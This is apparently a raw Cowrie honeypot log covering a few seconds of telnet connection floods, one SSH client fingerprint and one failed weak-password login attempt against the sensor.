{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":42080,"dst_ip":"159.203.135.109","dst_port":23,"session":"f13edcc27ffd","protocol":"telnet","message":"New connection: 202.91.32.11:42080 (159.203.135.109:23) [session: f13edcc27ffd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:25.422853Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":42086,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5383ef27ec0","protocol":"telnet","message":"New connection: 202.91.32.11:42086 (159.203.135.109:23) [session: f5383ef27ec0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:25.449620Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":42096,"dst_ip":"159.203.135.109","dst_port":23,"session":"8de13b3b3d55","protocol":"telnet","message":"New connection: 202.91.32.11:42096 (159.203.135.109:23) [session: 8de13b3b3d55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:25.629811Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":39784,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4827bb11d5c","protocol":"telnet","message":"New connection: 45.63.42.31:39784 (10.17.0.5:23) [session: b4827bb11d5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:25.737968Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":42104,"dst_ip":"159.203.135.109","dst_port":23,"session":"b521f97ac859","protocol":"telnet","message":"New connection: 202.91.32.11:42104 (159.203.135.109:23) [session: b521f97ac859]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:26.034924Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":42110,"dst_ip":"159.203.135.109","dst_port":23,"session":"20a31885cfed","protocol":"telnet","message":"New connection: 202.91.32.11:42110 (159.203.135.109:23) [session: 20a31885cfed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:26.099373Z"}
{"eventid":"cowrie.session.closed","duration":32.05565857887268,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:26.293061Z","src_ip":"202.91.32.11","session":"9f3d10d50af8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.42763090133667,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:26.366510Z","src_ip":"202.91.32.11","session":"15d242f661e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.53349542617798,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:26.560931Z","src_ip":"202.91.32.11","session":"14a3df7e25ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.21587252616882,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:26.726289Z","src_ip":"202.91.32.11","session":"e066d126a0f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.175116062164307,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:26.731643Z","src_ip":"202.91.32.11","session":"8e37a14a5c4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.754160404205322,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:26.861572Z","src_ip":"202.91.32.11","session":"e74ababfa1a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.75240635871887,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:26.995300Z","src_ip":"202.91.32.11","session":"37c1505c27de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":42122,"dst_ip":"159.203.135.109","dst_port":23,"session":"587ff38d4593","protocol":"telnet","message":"New connection: 202.91.32.11:42122 (159.203.135.109:23) [session: 587ff38d4593]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:27.099950Z"}
{"eventid":"cowrie.session.closed","duration":31.943387508392334,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:27.137599Z","src_ip":"202.91.32.11","session":"ba765b34924c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.821532011032104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:27.259938Z","src_ip":"202.91.32.11","session":"9e6a73778b64","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.376307487487793,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:27.314881Z","src_ip":"202.91.32.11","session":"9c654f2abb26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.257543563842773,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:27.420537Z","src_ip":"202.91.32.11","session":"3e659b4e5d73","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.46036195755005,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:27.703567Z","src_ip":"202.91.32.11","session":"c0ad956d7cd5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":42124,"dst_ip":"159.203.135.109","dst_port":23,"session":"44c2ad4aaaa6","protocol":"telnet","message":"New connection: 202.91.32.11:42124 (159.203.135.109:23) [session: 44c2ad4aaaa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:27.768985Z"}
{"eventid":"cowrie.session.closed","duration":31.307987451553345,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:27.800453Z","src_ip":"202.91.32.11","session":"2e5dec9ae62d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.69808602333069,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:27.908112Z","src_ip":"202.91.32.11","session":"65bcd04e43c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":42130,"dst_ip":"159.203.135.109","dst_port":23,"session":"ffb1bb599625","protocol":"telnet","message":"New connection: 202.91.32.11:42130 (159.203.135.109:23) [session: ffb1bb599625]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:27.936266Z"}
{"eventid":"cowrie.session.closed","duration":30.71539044380188,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:28.164449Z","src_ip":"202.91.32.11","session":"0e80391556f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"78.134.49.171","src_port":58868,"dst_ip":"159.203.135.109","dst_port":22,"session":"43195f7c03d7","protocol":"ssh","message":"New connection: 78.134.49.171:58868 (159.203.135.109:22) [session: 43195f7c03d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:28.192891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:28.200115Z","src_ip":"78.134.49.171","session":"43195f7c03d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.434348344802856,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:28.272706Z","src_ip":"103.115.172.252","session":"28e98b7c346f","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:28.311978Z","src_ip":"78.134.49.171","session":"43195f7c03d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":42132,"dst_ip":"159.203.135.109","dst_port":23,"session":"a747891ff44c","protocol":"telnet","message":"New connection: 202.91.32.11:42132 (159.203.135.109:23) [session: a747891ff44c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:28.318564Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":42136,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea02351941c8","protocol":"telnet","message":"New connection: 202.91.32.11:42136 (159.203.135.109:23) [session: ea02351941c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:28.452825Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":42144,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b3545754957","protocol":"telnet","message":"New connection: 202.91.32.11:42144 (159.203.135.109:23) [session: 5b3545754957]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:28.690623Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":42156,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce069b9af11e","protocol":"telnet","message":"New connection: 202.91.32.11:42156 (159.203.135.109:23) [session: ce069b9af11e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:28.707387Z"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"1qaz2wsx3edc","message":"login attempt [postgres/1qaz2wsx3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:28.774185Z","src_ip":"78.134.49.171","session":"43195f7c03d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.690378665924072,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:28.931979Z","src_ip":"202.91.32.11","session":"bf618b80c976","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":42160,"dst_ip":"159.203.135.109","dst_port":23,"session":"633fa3b2ba0b","protocol":"telnet","message":"New connection: 202.91.32.11:42160 (159.203.135.109:23) [session: 633fa3b2ba0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:28.970524Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":42176,"dst_ip":"159.203.135.109","dst_port":23,"session":"df1b4bc655d1","protocol":"telnet","message":"New connection: 202.91.32.11:42176 (159.203.135.109:23) [session: df1b4bc655d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:29.054160Z"}
{"eventid":"cowrie.session.closed","duration":31.843953609466553,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:29.233045Z","src_ip":"202.91.32.11","session":"cba9b083ce01","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:29.887063Z","src_ip":"78.134.49.171","session":"43195f7c03d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.870031595230103,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:30.044899Z","src_ip":"202.91.32.11","session":"171056ad7a32","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":42192,"dst_ip":"159.203.135.109","dst_port":23,"session":"cbc84cdad954","protocol":"telnet","message":"New connection: 202.91.32.11:42192 (159.203.135.109:23) [session: cbc84cdad954]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:30.109375Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":42206,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7c15ee6a151","protocol":"telnet","message":"New connection: 202.91.32.11:42206 (159.203.135.109:23) [session: a7c15ee6a151]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:30.118336Z"}
{"eventid":"cowrie.session.closed","duration":32.57653617858887,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:30.334468Z","src_ip":"202.91.32.11","session":"a747e8ed8340","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":42208,"dst_ip":"159.203.135.109","dst_port":23,"session":"fbcf51d622db","protocol":"telnet","message":"New connection: 202.91.32.11:42208 (159.203.135.109:23) [session: fbcf51d622db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:30.628921Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":42216,"dst_ip":"159.203.135.109","dst_port":23,"session":"6429318cfac9","protocol":"telnet","message":"New connection: 202.91.32.11:42216 (159.203.135.109:23) [session: 6429318cfac9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:30.769166Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":42230,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f36316c177d","protocol":"telnet","message":"New connection: 202.91.32.11:42230 (159.203.135.109:23) [session: 4f36316c177d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:30.864599Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":42232,"dst_ip":"159.203.135.109","dst_port":23,"session":"fbf9f7b1bacb","protocol":"telnet","message":"New connection: 202.91.32.11:42232 (159.203.135.109:23) [session: fbf9f7b1bacb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:30.903181Z"}
{"eventid":"cowrie.session.closed","duration":31.72396469116211,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:31.089939Z","src_ip":"202.91.32.11","session":"7fc849360a80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":42246,"dst_ip":"159.203.135.109","dst_port":23,"session":"40b98714bccf","protocol":"telnet","message":"New connection: 202.91.32.11:42246 (159.203.135.109:23) [session: 40b98714bccf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:31.119383Z"}
{"eventid":"cowrie.session.closed","duration":30.489482641220093,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:31.382024Z","src_ip":"202.91.32.11","session":"4613fc5a60f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.838769912719727,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:31.467842Z","src_ip":"202.91.32.11","session":"92c4eb77b15e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":42258,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f3a02af764f","protocol":"telnet","message":"New connection: 202.91.32.11:42258 (159.203.135.109:23) [session: 6f3a02af764f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:31.574654Z"}
{"eventid":"cowrie.session.closed","duration":31.50509548187256,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:31.665836Z","src_ip":"202.91.32.11","session":"8253bc53091b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":42264,"dst_ip":"159.203.135.109","dst_port":23,"session":"240eb5324b03","protocol":"telnet","message":"New connection: 202.91.32.11:42264 (159.203.135.109:23) [session: 240eb5324b03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:31.904221Z"}
{"eventid":"cowrie.session.closed","duration":32.135600566864014,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:31.954120Z","src_ip":"202.91.32.11","session":"c8e3fd7cc86a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":42280,"dst_ip":"159.203.135.109","dst_port":23,"session":"a314e9b00668","protocol":"telnet","message":"New connection: 202.91.32.11:42280 (159.203.135.109:23) [session: a314e9b00668]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:31.965313Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":42294,"dst_ip":"159.203.135.109","dst_port":23,"session":"1cae794e5405","protocol":"telnet","message":"New connection: 202.91.32.11:42294 (159.203.135.109:23) [session: 1cae794e5405]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:32.025590Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":60030,"dst_ip":"159.203.135.109","dst_port":23,"session":"13f7111968a6","protocol":"telnet","message":"New connection: 185.26.126.47:60030 (159.203.135.109:23) [session: 13f7111968a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:32.123559Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":42308,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f36af3fef56","protocol":"telnet","message":"New connection: 202.91.32.11:42308 (159.203.135.109:23) [session: 0f36af3fef56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:32.156321Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":42310,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f60bed19e36","protocol":"telnet","message":"New connection: 202.91.32.11:42310 (159.203.135.109:23) [session: 1f60bed19e36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:32.618258Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":42318,"dst_ip":"159.203.135.109","dst_port":23,"session":"6fd65a2ff8f7","protocol":"telnet","message":"New connection: 202.91.32.11:42318 (159.203.135.109:23) [session: 6fd65a2ff8f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:32.718528Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":59726,"dst_ip":"159.203.135.109","dst_port":23,"session":"08581e45a271","protocol":"telnet","message":"New connection: 202.91.32.11:59726 (159.203.135.109:23) [session: 08581e45a271]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:32.740813Z"}
{"eventid":"cowrie.session.closed","duration":31.134154558181763,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:33.886996Z","src_ip":"202.91.32.11","session":"0b1502f60838","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":34164,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3949c06c061","protocol":"telnet","message":"New connection: 45.63.42.31:34164 (10.17.0.5:23) [session: c3949c06c061]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:34.031529Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":59742,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8b8eb22e172","protocol":"telnet","message":"New connection: 202.91.32.11:59742 (159.203.135.109:23) [session: d8b8eb22e172]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:34.470272Z"}
{"eventid":"cowrie.session.closed","duration":31.774787425994873,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:34.581839Z","src_ip":"202.91.32.11","session":"cdb46f3ce601","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.85052752494812,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:34.820836Z","src_ip":"202.91.32.11","session":"4707d5067732","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":59744,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad72a84fbe33","protocol":"telnet","message":"New connection: 202.91.32.11:59744 (159.203.135.109:23) [session: ad72a84fbe33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:34.826241Z"}
{"eventid":"cowrie.session.closed","duration":31.2248694896698,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:35.037793Z","src_ip":"202.91.32.11","session":"bc117ff5d97c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.816102027893066,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:35.193103Z","src_ip":"202.91.32.11","session":"dc14ab56ed34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":59750,"dst_ip":"159.203.135.109","dst_port":23,"session":"3808e29e591b","protocol":"telnet","message":"New connection: 202.91.32.11:59750 (159.203.135.109:23) [session: 3808e29e591b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:35.257588Z"}
{"eventid":"cowrie.session.closed","duration":31.877407550811768,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:35.351078Z","src_ip":"202.91.32.11","session":"510146cf6a0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":59758,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe299ff9e9d1","protocol":"telnet","message":"New connection: 202.91.32.11:59758 (159.203.135.109:23) [session: fe299ff9e9d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:35.485978Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":59684,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a6e84450eac","protocol":"telnet","message":"New connection: 45.63.42.31:59684 (10.17.0.5:23) [session: 1a6e84450eac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:35.698652Z"}
{"eventid":"cowrie.session.closed","duration":33.19983768463135,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:35.752399Z","src_ip":"202.91.32.11","session":"8830a6b7cd04","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.863323211669922,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:35.906529Z","src_ip":"202.91.32.11","session":"8145591199db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.40343952178955,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:36.089135Z","src_ip":"202.91.32.11","session":"40d27ba0d312","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.67426085472107,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:36.305220Z","src_ip":"202.91.32.11","session":"b35e4de85a45","protocol":"telnet"}
